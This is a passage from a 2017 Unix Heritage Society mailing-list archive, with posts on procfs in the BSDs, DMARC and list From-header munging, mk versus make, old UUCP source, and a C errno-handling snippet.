> I have been a user in the past, but I just can't forgive FreeBSD for
> abandoning the proc filesystem  :-(

procfs still exists in FreeBSD and can be added to fstab but isn't
mounted by default after an install.

Generally the BSDs (and OS X) don't seem to actively maintain procfs
and it has been remove from OpenBSD.

-- 
4096R/EA75174B Steve Mynott <steve.mynott at gmail.com>



From dario at darioniedermann.it  Sat Sep 23 20:03:20 2017
From: dario at darioniedermann.it (Dario Niedermann)
Date: Sat, 23 Sep 2017 12:03:20 +0200
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
Message-ID: <20170923100320.GE10152@darioniedermann.it>

Il 23/09/2017 alle 11:36, Steve Mynott ha scritto:

> procfs still exists in FreeBSD and can be added to fstab but isn't
> mounted by default after an install.

But does the kernel put it to good use?

Since they deprecated procfs, most FreeBSD software will tend to not
expect it, and just ignore it.

> Generally the BSDs (and OS X) don't seem to actively maintain procfs
> and it has been remove from OpenBSD.

Indeed. Last time I checked, NetBSD was the holdout. I hope they don't
follow suit.

-- 
Dario Niedermann.                 Also on the Internet at:

gopher://darioniedermann.it/  <>  https://www.darioniedermann.it/



From tytso at mit.edu  Sun Sep 24 00:07:25 2017
From: tytso at mit.edu (Theodore Ts'o)
Date: Sat, 23 Sep 2017 10:07:25 -0400
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <aa30ea2f-cc94-2004-57ab-7359d05e0615@tnetconsulting.net>
References: <20170921223420.GA27231@minnie.tuhs.org>
 <20170922114637.-EfSz%steffen@sdaoden.eu>
 <aa30ea2f-cc94-2004-57ab-7359d05e0615@tnetconsulting.net>
Message-ID: <20170923140725.sqxxg7bb7cxkkwmi@thunk.org>

On Fri, Sep 22, 2017 at 01:51:43PM -0600, Grant Taylor wrote:
> I also feel like mailing lists are their own entity, and as such, messages
> should be from them.  Similarly, I think replies should be directed back to
> the list.  I think this is especially true for discussion type mailing
> lists.  Thus, I would be inclined to set from_is_list to munge also.

Unfortunately, munging the From field, while it does solve the DMARC
problem, has a very significant negative UI effect.  It means that
when you look at a summary of messages in a threaded summary, they
will all look like they came from the THUS mailing list, as opposed to
from the author of the posting.

This is actually the whole *point* of DMARC.  They want to make sure
that if you see a from field of paypal.com, it means "paypal.com", and
did not come from SCAMMER at MAKE.MONEY.FAST.NG.  So this is why DMARC
apologists who argue that this could be fixed by having MUA's hacked
so they display the X-List-From: field in the threaded mail summary
are wrong.  If you do this, then Nigerian spammers will be able to use
X-List-From: field to fool stupid e-mail users, and then Yahoo and
Paypal will end up pushing DMARCv2 (outside the IETF standards
structures, just as DMARC is pushed outside of the standards bodies,
but by big companies imposing their will on the rest of the Internet)
to censor the X-List-From: field just as DMARC is trying to force
mailing list reflectors to munge the From field.

	     		   	     	  - Ted



From tytso at mit.edu  Sun Sep 24 00:12:32 2017
From: tytso at mit.edu (Theodore Ts'o)
Date: Sat, 23 Sep 2017 10:12:32 -0400
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <1bfefa2f-4433-0d13-5972-ffb92bae3fa1@tnetconsulting.net>
References: <20170921223420.GA27231@minnie.tuhs.org>
 <m27ewprgys.fsf@thuvia.hamartun.priv.no>
 <1bfefa2f-4433-0d13-5972-ffb92bae3fa1@tnetconsulting.net>
Message-ID: <20170923141232.aotf4m5eol6gr3v6@thunk.org>

On Sat, Sep 23, 2017 at 03:05:47AM -0600, Grant Taylor wrote:
> 
> I have leading industry standard email security enabled on my email. Things
> like DKIM and DMARC which are specifically designed to tell receiving email
> servers where email from my domain should come from and what to do with
> email that does not come from my servers.

DMARC is only useful if you are worried about people trying to use
your domain for phishing purposes.  This is more of an issue for
Paypal.com and bankofamerica.com.  In general it's not really an issue
for thunk.org and tnetconsulting.net.

DKIM and SPF are useful if you need to interoperate with big, free
e-mail systems such as Yahoo, AOL, and Google which are *using* DMARC.
Using DKIM and SPF are useful in trying avoid your site from falsely
being accused as being a spammer.

DMARC has no real value, and in fact has negative value, as it means
that when you send e-mail from a DMARC site that causes other people
to be ejected off of mailing lists, the mailing list administrator may
decide that you are actively causing harm to the community, and simply
prevent you from sending mail to the mailing list all.

Other proposed solutions is to have the mailing list software detect
that you are using DMARC, and only having *your* postings munged so
the from field says thus at minnie.tugs.org, instead of
gtaylor at tnetconsulting.net.  That way only people who are using mail
systems with DMARC get their From field munged, instead of punishing
everyone using the mailing list.

						- Ted



From tih at hamartun.priv.no  Sun Sep 24 00:57:35 2017
From: tih at hamartun.priv.no (Tom Ivar Helbekkmo)
Date: Sat, 23 Sep 2017 16:57:35 +0200
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <20170923141232.aotf4m5eol6gr3v6@thunk.org> (Theodore Ts'o's
 message of "Sat, 23 Sep 2017 10:12:32 -0400")
References: <20170921223420.GA27231@minnie.tuhs.org>
 <m27ewprgys.fsf@thuvia.hamartun.priv.no>
 <1bfefa2f-4433-0d13-5972-ffb92bae3fa1@tnetconsulting.net>
 <20170923141232.aotf4m5eol6gr3v6@thunk.org>
Message-ID: <m2wp4pbgyo.fsf@thuvia.hamartun.priv.no>

Theodore Ts'o <tytso at mit.edu> writes:

> That way only people who are using mail systems with DMARC get their
> From field munged, instead of punishing everyone using the mailing
> list.

Why should anyone need to?  Of all the mailing lists I'm on, this one is
the only one that has this problem.  For instance, on the NetBSD mailing
lists, my email reaches other recipients "From:" my real email address,
and SPF, DKIM, and DMARC all check out clean.  Here are the headers from
a message I sent to a NetBSD list, as received by my own system (whereas
the message I sent to the TUHS list last night was refused by my MTA):

| Return-Path: <bounces-current-users-owner-tih=hamartun.priv.no at NetBSD.org>
| Received: from 127.0.0.1 (HELO barsoom.hamartun.priv.no) by
|  barsoom.hamartun.priv.no (Archiveopteryx 3.2.0) with lmtp id
|  1490255725-9579-11611/4/764 for tih at hamartun.priv.no; Thu, 23 Mar 2017
|  07:55:25 +0000
| Received: from mail.netbsd.org (mail.NetBSD.org [IPv6:2001:470:a085:999::25])
| 	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
| 	(No client certificate requested)
| 	by barsoom.hamartun.priv.no (Postfix) with ESMTPS id 3CA3B1C7147
| 	for <tih at hamartun.priv.no>; Thu, 23 Mar 2017 08:55:23 +0100 (CET)
| Authentication-Results: barsoom.hamartun.priv.no; dmarc=pass header.from=hamartun.priv.no
| Authentication-Results: barsoom.hamartun.priv.no; spf=pass smtp.mailfrom=bounces-current-users-owner-tih=hamartun.priv.no at NetBSD.org
| Authentication-Results: barsoom.hamartun.priv.no;
| 	dkim=pass (1024-bit key) header.d=hamartun.priv.no header.i=@hamartun.priv.no header.b=Kykpwg+N
| Received: by mail.netbsd.org (Postfix, from userid 605)
| 	id 91AF78559D; Thu, 23 Mar 2017 07:55:16 +0000 (UTC)
| Delivered-To: Current-Users at netbsd.org
| Received: from localhost (localhost [127.0.0.1])
| 	by mail.netbsd.org (Postfix) with ESMTP id 04AC385569
| 	for <Current-Users at netbsd.org>; Thu, 23 Mar 2017 07:55:15 +0000 (UTC)
| X-Virus-Scanned: amavisd-new at netbsd.org
| Authentication-Results: mail.netbsd.org (amavisd-new);
| 	dkim=pass (1024-bit key) header.d=hamartun.priv.no
| Received: from mail.netbsd.org ([127.0.0.1])
| 	by localhost (mail.netbsd.org [127.0.0.1]) (amavisd-new, port 10025)
| 	with ESMTP id 07zfmByWfGGy for <Current-Users at netbsd.org>;
| 	Thu, 23 Mar 2017 07:55:14 +0000 (UTC)
| Received: from barsoom.hamartun.priv.no (barsoom.hamartun.priv.no [193.71.27.8])
| 	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
| 	(No client certificate requested)
| 	by mail.netbsd.org (Postfix) with ESMTPS id C3DAC84CDD
| 	for <Current-Users at netbsd.org>; Thu, 23 Mar 2017 07:55:12 +0000 (UTC)
| Received: from thuvia.hamartun.priv.no (thuvia.hamartun.priv.no [193.71.27.7])
| 	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
| 	(No client certificate requested)
| 	by barsoom.hamartun.priv.no (Postfix) with ESMTPS id 88A601C7147;
| 	Thu, 23 Mar 2017 08:55:09 +0100 (CET)
| Dkim-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hamartun.priv.no;
| 	s=barsoom; t=1490255709;
| 	bh=CSM3cuXAMyJtu0wLEPB+K0BzqULiVelaGy5gTvWwfpU=;
| 	h=From:To:Cc:Subject:References:Date:In-Reply-To;
| 	b=Kykpwg+NK0kSkDYEkvrISX7fDtK9tYUogDcyAb0cSd1ogwCIYnAFSWKg3mnlJb+9g
| 	 urP7MuokAxM2gUJeVqGdosqAjncrfMQYt0ii8Ops3Awx9q/Dx3bmDyEz8jMUIQxWmw
| 	 oiCiL1ZkcjF/xGKvrV97jRW3BvVCzpRyZfO4ad1I=
| Received: by thuvia.hamartun.priv.no (Postfix, from userid 501)
| 	id 707E34DE48; Thu, 23 Mar 2017 08:55:09 +0100 (CET)
| From: Tom Ivar Helbekkmo <tih at hamartun.priv.no>
| To: Paul Goyette <paul at whooppee.com>
| Cc: Current-Users at netbsd.org
| Subject: Re: Error/warning message from rc.d/npf
| References: <Pine.NEB.4.64.1703231345500.401 at speedy.whooppee.com>
| Date: Thu, 23 Mar 2017 08:55:09 +0100
| In-Reply-To: <Pine.NEB.4.64.1703231345500.401 at speedy.whooppee.com> (Paul
| 	Goyette's message of "Thu, 23 Mar 2017 13:55:01 +0800")
| Message-Id: <m2wpbg1l7m.fsf at thuvia.hamartun.priv.no>
| User-Agent: Gnus/5.130012 (Ma Gnus v0.12) Emacs/24.5 (berkeley-unix)
| Mime-Version: 1.0
| Content-Type: text/plain
| Sender: current-users-owner at NetBSD.ORG
| List-Id: current-users.NetBSD.org
| Precedence: bulk
| Content-Transfer-Encoding: quoted-printable

-tih
-- 
Most people who graduate with CS degrees don't understand the significance
of Lisp.  Lisp is the most important idea in computer science.  --Alan Kay



From itz at very.loosely.org  Sun Sep 24 01:41:54 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Sat, 23 Sep 2017 08:41:54 -0700
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <20170923141232.aotf4m5eol6gr3v6@thunk.org>
References: <20170921223420.GA27231@minnie.tuhs.org>
 <m27ewprgys.fsf@thuvia.hamartun.priv.no>
 <1bfefa2f-4433-0d13-5972-ffb92bae3fa1@tnetconsulting.net>
 <20170923141232.aotf4m5eol6gr3v6@thunk.org>
Message-ID: <20170923154154.yjahwnhzlt6qvwf4@matica.foolinux.mooo.com>

On 2017-09-23 10:12, Theodore Ts'o wrote:

> Other proposed solutions is to have the mailing list software detect
> that you are using DMARC, and only having *your* postings munged so
> the from field says thus at minnie.tugs.org, instead of
> gtaylor at tnetconsulting.net.  That way only people who are using mail
> systems with DMARC get their From field munged, instead of punishing
> everyone using the mailing list.

That has been the reaction of every list I've seen react to the DMARC
problem at all.  Among others: haskell-cafe, exim-users, SDLU.
Initially I hated to make even this concession to "modern industry
standards", but now I think it's the best compromise, until the Internet
Octopuses kill email completely.

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.



From norman at oclsc.org  Sun Sep 24 01:53:55 2017
From: norman at oclsc.org (Norman Wilson)
Date: Sat, 23 Sep 2017 11:53:55 -0400
Subject: [TUHS] Another "make-raking" discussion topic
Message-ID: <1506182039.27660.for-standards-violators@oclsc.org>

Lyndon Nerenberg:

  I really like mk.  8ed was where it first rolled out?  I remember
  reading about it in the 10ed books.  It's a joy to use in Plan 9.

======

Later than that.  I was around when Andrew wrote mk, so it
definitely post-dated the 8/e manual.

mk does a number of things better, but to my mind not quite
enough to justify carrying it around.  Just as I decided long
ago (once I'd come out of the ivory hothouse of Murray Hill)
that I was best off writing programs that hewed to the ISO C
and POSIX interfaces (and later put some work into bringing
my private copy of post-V10 nearer to the standards), because
that way I didn't have to think much about porting; so I
decided eventually that it is better just to use make.

As with any other language, of course, it's best to use it
in as simple a way as possible.  So I don't care much whether
it's gmake or pmake or qmake as long as it implements more
or less the 7/e core subset without breaking anything.

Larry McVoy:

  I do wish that some simple make had stuffed a scripting language in there.
  Anything, tcl, lua, even (horrors, can't believe I'm saying this) a little
  lisp.  Or ideally a built in shell compat language.  All those backslashes
  to make shell scripts work get old.

======

This is something mk got right, and it's actually very simple to do:
every recipe is a shell script.  Not a collection of lines handed
one by one to the shell, but a block of text.  No backslashes (or
extra semicolons) required for tests.  Each script is run with sh -e,
so by default one failed command will abort the rest, which is
usually what one wants; but if you don't want that you just insert
	set +e

(So it's not that I dislike mk.  Were it available as an easy
add-on package on all modern systems, rather than something I'd
have to carry around and compile, I'd be happy to use it.)

Norman Wilson
Toronto ON



From norman at oclsc.org  Sun Sep 24 01:54:08 2017
From: norman at oclsc.org (Norman Wilson)
Date: Sat, 23 Sep 2017 11:54:08 -0400
Subject: [TUHS] Excessive bouncing ... argh!
Message-ID: <1506182054.27729.for-standards-violators@oclsc.org>

Tom Ivar Helbekkmo:

  Why should anyone need to?  Of all the mailing lists I'm on, this one is
  the only one that has this problem.

=====

Beware tunnel vision.  Another mailing list I'm on has exactly
the same problem, made worse because it's being run by a central
Big Company Mailing List Provider so the rules keep changing under
foot and it's up to the poor-sod list maintainer (who is not a
programmer) to cope.

To bring the focus back to this mailing list, not every program
runs on a little-endian computer with arbitrary word alignment
and pointers that fit in an int.

Norman Wilson
Toronto ON



From tih at hamartun.priv.no  Sun Sep 24 02:18:08 2017
From: tih at hamartun.priv.no (Tom Ivar Helbekkmo)
Date: Sat, 23 Sep 2017 18:18:08 +0200
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <1506182054.27729.for-standards-violators@oclsc.org> (Norman
 Wilson's message of "Sat, 23 Sep 2017 11:54:08 -0400")
References: <1506182054.27729.for-standards-violators@oclsc.org>
Message-ID: <m260c95qyn.fsf@thuvia.hamartun.priv.no>

Norman Wilson <norman at oclsc.org> writes:

> Beware tunnel vision.  Another mailing list I'm on has exactly the
> same problem, [...]

Of course.  I'm just saying that it's possible to set up mailing lists
so that even people who use modern techniques for securing email can use
them with no problems.  Seems to me, then, that the best response to the
"problem" is to set the list up right.  And that the pressure should
perhaps be on mailing list maintainers to do this, rather than on users
to get their email providers and employers to not use SPF/DKIM/DMARC.

-tih
-- 
Most people who graduate with CS degrees don't understand the significance
of Lisp.  Lisp is the most important idea in computer science.  --Alan Kay



From itz at very.loosely.org  Sun Sep 24 02:27:54 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Sat, 23 Sep 2017 09:27:54 -0700
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <m2wp4pbgyo.fsf@thuvia.hamartun.priv.no>
References: <20170921223420.GA27231@minnie.tuhs.org>
 <m27ewprgys.fsf@thuvia.hamartun.priv.no>
 <1bfefa2f-4433-0d13-5972-ffb92bae3fa1@tnetconsulting.net>
 <20170923141232.aotf4m5eol6gr3v6@thunk.org>
 <m2wp4pbgyo.fsf@thuvia.hamartun.priv.no>
Message-ID: <20170923162754.ilec746zqjdwq46m@matica.foolinux.mooo.com>

On 2017-09-23 16:57, Tom Ivar Helbekkmo wrote:

> Why should anyone need to?  Of all the mailing lists I'm on, this one
> is the only one that has this problem.  For instance, on the NetBSD
> mailing lists, my email reaches other recipients "From:" my real email
> address, and SPF, DKIM, and DMARC all check out clean.  Here are the
> headers from a message I sent to a NetBSD list, as received by my own
> system (whereas the message I sent to the TUHS list last night was
> refused by my MTA):

Probably because the NetBSD list, unlike the tuhs list and most others,
doesn't mess with the headers or body in any way - not by attaching a
"helpful" tag to the Subject, and not by appending an xtra fake sig with
unsubscription info.

Either of these "modern" paractices will invalidate the source DKIM
signature, and so also trigger a DMARC reject if a strict policy is set.

By the way, my inbound processing automatically strips the Subject tag
before I get to see the messages.  It is useless.

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.



From lyndon at orthanc.ca  Sun Sep 24 04:09:03 2017
From: lyndon at orthanc.ca (Lyndon Nerenberg)
Date: Sat, 23 Sep 2017 11:09:03 -0700
Subject: [TUHS] Another "make-raking" discussion topic
In-Reply-To: <1506182039.27660.for-standards-violators@oclsc.org>
References: <1506182039.27660.for-standards-violators@oclsc.org>
Message-ID: <2A1C2147-5B89-4579-9D9B-29E62AC7DA66@orthanc.ca>


> On Sep 23, 2017, at 8:53 AM, Norman Wilson <norman at oclsc.org> wrote:
> 
> As with any other language, of course, it's best to use it
> in as simple a way as possible.  So I don't care much whether
> it's gmake or pmake or qmake as long as it implements more
> or less the 7/e core subset without breaking anything.

For my Makefiles, I almost always add

  .POSIX:

as the first line, to avoid inadvertently using [bgp]make extensions.



From lyndon at orthanc.ca  Sun Sep 24 04:17:42 2017
From: lyndon at orthanc.ca (Lyndon Nerenberg)
Date: Sat, 23 Sep 2017 11:17:42 -0700
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <20170923140725.sqxxg7bb7cxkkwmi@thunk.org>
References: <20170921223420.GA27231@minnie.tuhs.org>
 <20170922114637.-EfSz%steffen@sdaoden.eu>
 <aa30ea2f-cc94-2004-57ab-7359d05e0615@tnetconsulting.net>
 <20170923140725.sqxxg7bb7cxkkwmi@thunk.org>
Message-ID: <C00A2CED-0626-41DB-B259-C84CA6DE6BB4@orthanc.ca>


> On Sep 23, 2017, at 7:07 AM, Theodore Ts'o <tytso at mit.edu> wrote:
> 
> This is actually the whole *point* of DMARC.  They want to make sure
> that if you see a from field of paypal.com, it means "paypal.com", and
> did not come from SCAMMER at MAKE.MONEY.FAST.NG.  So this is why DMARC
> apologists who argue that this could be fixed by having MUA's hacked
> so they display the X-List-From: field in the threaded mail summary
> are wrong.  If you do this, then Nigerian spammers will be able to use
> X-List-From: field to fool stupid e-mail users, and then Yahoo and
> Paypal will end up pushing DMARCv2 (outside the IETF standards
> structures, just as DMARC is pushed outside of the standards bodies,
> but by big companies imposing their will on the rest of the Internet)
> to censor the X-List-From: field just as DMARC is trying to force
> mailing list reflectors to munge the From field.

Amen.

I hope this whole topic doesn't go off the rails – we've had enough of those on the list the past couple of weeks.

But I will note that, if the sites that enforce the fully-anal interpretation of DMARC start destroying the list, it's completely within the spirit of TUHS to migrate to a UUCP-only distribution.  (Note the deliberate absence of a smiley.)

--lyndon



From tih at hamartun.priv.no  Sun Sep 24 04:35:47 2017
From: tih at hamartun.priv.no (Tom Ivar Helbekkmo)
Date: Sat, 23 Sep 2017 20:35:47 +0200
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <C00A2CED-0626-41DB-B259-C84CA6DE6BB4@orthanc.ca> (Lyndon
 Nerenberg's message of "Sat, 23 Sep 2017 11:17:42 -0700")
References: <20170921223420.GA27231@minnie.tuhs.org>
 <20170922114637.-EfSz%steffen@sdaoden.eu>
 <aa30ea2f-cc94-2004-57ab-7359d05e0615@tnetconsulting.net>
 <20170923140725.sqxxg7bb7cxkkwmi@thunk.org>
 <C00A2CED-0626-41DB-B259-C84CA6DE6BB4@orthanc.ca>
Message-ID: <m2lgl5z2ik.fsf@thuvia.hamartun.priv.no>

Lyndon Nerenberg <lyndon at orthanc.ca> writes:

> But I will note that, if the sites that enforce the fully-anal
> interpretation of DMARC start destroying the list,

Right.  So what's DMARC?  It's a way of specifying what to do with a
message that purports to be from your domain, but fails both SPF and
DKIM verification.  Oooo!  Scary!

> it's completely within the spirit of TUHS to migrate to a UUCP-only
> distribution.

:)  I'm game!  I was the last UUCP customer of my ISP (and only allowed
to remain a UUCP customer so long because I was also an employee, and
maintained their end of it myself), and I still have everything set up
to re-enable the mechanism.

-tih (...!mcvax!ndosl!melkart!tih)
-- 
Most people who graduate with CS degrees don't understand the significance
of Lisp.  Lisp is the most important idea in computer science.  --Alan Kay



From lyndon at orthanc.ca  Sun Sep 24 05:22:28 2017
From: lyndon at orthanc.ca (Lyndon Nerenberg)
Date: Sat, 23 Sep 2017 12:22:28 -0700
Subject: [TUHS] Rick Adams' 43BSD UUCP Source
Message-ID: <19B5576C-07D5-4FB7-9002-F981E00A24E4@orthanc.ca>

Does anyone have a copy of Rick's uunet version of the 4.3BSD UUCP source?  The disk I had it on seized up, and I can't figure out a fine-grained-enough set of search keywords to find it through a web search :-(

--lyndon



From gtaylor at tnetconsulting.net  Sun Sep 24 06:02:25 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Sat, 23 Sep 2017 14:02:25 -0600
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <m260c95qyn.fsf@thuvia.hamartun.priv.no>
References: <1506182054.27729.for-standards-violators@oclsc.org>
 <m260c95qyn.fsf@thuvia.hamartun.priv.no>
Message-ID: <fbc3010a-a36e-61f7-b473-784a05f1dce5@tnetconsulting.net>

On 09/23/2017 10:18 AM, Tom Ivar Helbekkmo wrote:
> Of course.  I'm just saying that it's possible to set up mailing lists
> so that even people who use modern techniques for securing email can use
> them with no problems.  Seems to me, then, that the best response to the
> "problem" is to set the list up right.  And that the pressure should
> perhaps be on mailing list maintainers to do this, rather than on users
> to get their email providers and employers to not use SPF/DKIM/DMARC.

I agree that we all need to work together.  Warren has been very willing 
to try things to tweak the TUHS mailing list.  I'm grateful for that.

I think this is growing / learning pains as we all try to lumber forward 
into the future together.



-- 
Grant. . . .
unix || die



From gtaylor at tnetconsulting.net  Sun Sep 24 06:24:57 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Sat, 23 Sep 2017 14:24:57 -0600
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <20170923141232.aotf4m5eol6gr3v6@thunk.org>
References: <20170921223420.GA27231@minnie.tuhs.org>
 <m27ewprgys.fsf@thuvia.hamartun.priv.no>
 <1bfefa2f-4433-0d13-5972-ffb92bae3fa1@tnetconsulting.net>
 <20170923141232.aotf4m5eol6gr3v6@thunk.org>
Message-ID: <140a1ea5-dd41-decd-81bb-50a09075dd25@tnetconsulting.net>

On 09/23/2017 08:12 AM, Theodore Ts'o wrote:
> DMARC is only useful if you are worried about people trying to use
> your domain for phishing purposes.  This is more of an issue for
> Paypal.com and bankofamerica.com.  In general it's not really an issue
> for thunk.org and tnetconsulting.net.

That is your opinion.  Mine happens to differ.  I think we're both 
adults and can agree to disagree.

> DKIM and SPF are useful if you need to interoperate with big, free
> e-mail systems such as Yahoo, AOL, and Google which are *using* DMARC.
> Using DKIM and SPF are useful in trying avoid your site from falsely
> being accused as being a spammer.

I feel like DMARC is just the latest technology / technique that is 
causing ripples in the pond.  -  I seem to remember similar ripples when 
SPF, and DKIM to a lesser degree, were introduced became more popular.

> DMARC has no real value, and in fact has negative value, as it means
> that when you send e-mail from a DMARC site that causes other people
> to be ejected off of mailing lists, the mailing list administrator may
> decide that you are actively causing harm to the community, and simply
> prevent you from sending mail to the mailing list all.

I believe DMARC does have value, and will have more value in the short 
to mid-term future.

I acknowledge the perceived negative value of DMARC.  I expect that 
other anti-spam techniques caused similar perceptions over the years.

  - Closing open relays
  - Requiring reverse DNS
  - SPF
  - DKIM
  - DMARC
  - ARC (possibly in the future)

I understand why people may want to push back on such technologies.  I 
feel like they are free to have their opinion.  I'll try to keep my 
opinion to myself.

However, I suspect that the horse drawn carriages are going to 
eventually end up yielding to the automobile in most places.

This is exactly why I've been working with Warren to try to make sure 
that I (and others using DMARC like me) don't cause harm to the TUHS 
community.

> Other proposed solutions is to have the mailing list software detect
> that you are using DMARC, and only having *your* postings munged so
> the from field says thus at minnie.tugs.org, instead of
> gtaylor at tnetconsulting.net.  That way only people who are using mail
> systems with DMARC get their From field munged, instead of punishing
> everyone using the mailing list.

I do believe that's the current industry accepted work around.  -  I 
don't know if it's the proper thing to do or not.  -  I suspect it's 
what I'm going to end up asking Warren to enable.  (It's my 
understanding that the mailing list manager that Warren is using already 
has the knob, and that he just needs to turn it.)



-- 
Grant. . . .
unix || die



From dave at horsfall.org  Sun Sep 24 08:27:02 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Sun, 24 Sep 2017 08:27:02 +1000 (EST)
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <m27ewprgys.fsf@thuvia.hamartun.priv.no>
References: <20170921223420.GA27231@minnie.tuhs.org>
 <m27ewprgys.fsf@thuvia.hamartun.priv.no>
Message-ID: <alpine.BSF.2.21.1709240820060.89458@aneurin.horsfall.org>

On Sat, 23 Sep 2017, Tom Ivar Helbekkmo wrote:

> That's an interesting solution.  Configuring it to not modify the 
> Subject: line by adding "[TUHS] " to it would probably also work.  :)

I hope you really are joking...  What really annoys me are lists that do 
*not* add the ID to the Subject: line.

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."



From ralph at inputplus.co.uk  Sun Sep 24 08:24:42 2017
From: ralph at inputplus.co.uk (Ralph Corderoy)
Date: Sat, 23 Sep 2017 23:24:42 +0100
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170920031312.GJ25650@mcvoy.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com> <20170919135359.G38me%steffen@sdaoden.eu>
 <20170919135652.GN25650@mcvoy.com>
 <1505843808.1332176.1111446696.14AB97E4@webmail.messagingengine.com>
 <20170920031312.GJ25650@mcvoy.com>
Message-ID: <20170923222442.1CD59201DF@orac.inputplus.co.uk>

Hi Larry,

> > > > > void    
> > > > > my_perror(char *file, int line, char *msg)
> > > > > {
> > > > >         char    *p = 0;
> > > > >         int     save = errno;
> > > > > 
> > > > >         if (p = getenv("_BK_VERSION")) {
> > > > >                 if (strneq(p, "bk-", 3)) p += 3;
> > > > >                 fprintf(stderr, "%s:%d (%s): ", file, line, p);
> > > > >         } else {
> > > > >                 fprintf(stderr, "%s:%d: ", file, line);
> > > > >         }
> > > > >         if (p = strerror(errno)) {
> > > > >                 fprintf(stderr, "%s: %s\n", msg, p);
> > > > >         } else {
> > > > >                 fprintf(stderr, "%s: errno=%d\n", msg, errno);
> > > > >         }
> > > > >         errno = save;   
> > > > > }
>
> I think the reason it works is if it works then errno doesn't change
> and if it doesn't work then we're not going to see the output.

Unless the failure under fprintf(3) is transient?

> So passing save is technically correct but not sure it is practically
> correct.

Passing `save' would also stop readers wondering why it's not being
passed.  :-)

Also, `p = strerror(errno)' is always going to be true;  strerror(3)
doesn't return NULL.  To check for strerror() errors one must errno=0
and then check errno afterwards;  strerror() can kick off LC_MESSAGES
stuff so errors are possible.  Yes, how does one then report that
error...

Another option when in dire straits, e.g. about to _exit() and trying
hard to get *something* to FD 2, is to writev(2) since the iov[] will be
a fixed size and the only formatting issue in the above code is the
`%d' and the space needed by its sprintf(3) can be found at compile
time.

-- 
Cheers, Ralph.
https://plus.google.com/+RalphCorderoy



From dave at horsfall.org  Sun Sep 24 09:00:25 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Sun, 24 Sep 2017 09:00:25 +1000 (EST)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170923091704.GD10152@darioniedermann.it>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
Message-ID: <alpine.BSF.2.21.1709240857580.89458@aneurin.horsfall.org>

On Sat, 23 Sep 2017, Dario Niedermann wrote:

> I have been a user in the past, but I just can't forgive FreeBSD for
> abandoning the proc filesystem  :-(

When did this happen?

aneurin% uname -a; df
FreeBSD aneurin.horsfall.org 10.3-RELEASE-p20 FreeBSD 10.3-RELEASE-p20 #0: Wed Jul 12 03:10:26 UTC 2017     root at amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC  i386
Filesystem  1K-blocks    Used   Avail Capacity  Mounted on
/dev/ad0s1a    507630  284674  182346    61%    /
devfs               1       1       0   100%    /dev
tmpfs         1007912      60 1007852     0%    /tmp
/dev/ad0s1d   3045006 1351324 1450082    48%    /usr
/dev/ad0s1e   1012974  811120  120818    87%    /var
/dev/ad0s1f   4058062  972216 2761202    26%    /home
/dev/ad0s1g   9287662 6538598 2006052    77%    /usr/local
fdescfs             1       1       0   100%    /dev/fd
procfs              4       4       0   100%    /proc

Notice the last entry...

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."



From dave at horsfall.org  Sun Sep 24 09:04:08 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Sun, 24 Sep 2017 09:04:08 +1000 (EST)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170923100320.GE10152@darioniedermann.it>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <20170923100320.GE10152@darioniedermann.it>
Message-ID: <alpine.BSF.2.21.1709240901570.89458@aneurin.horsfall.org>

On Sat, 23 Sep 2017, Dario Niedermann wrote:

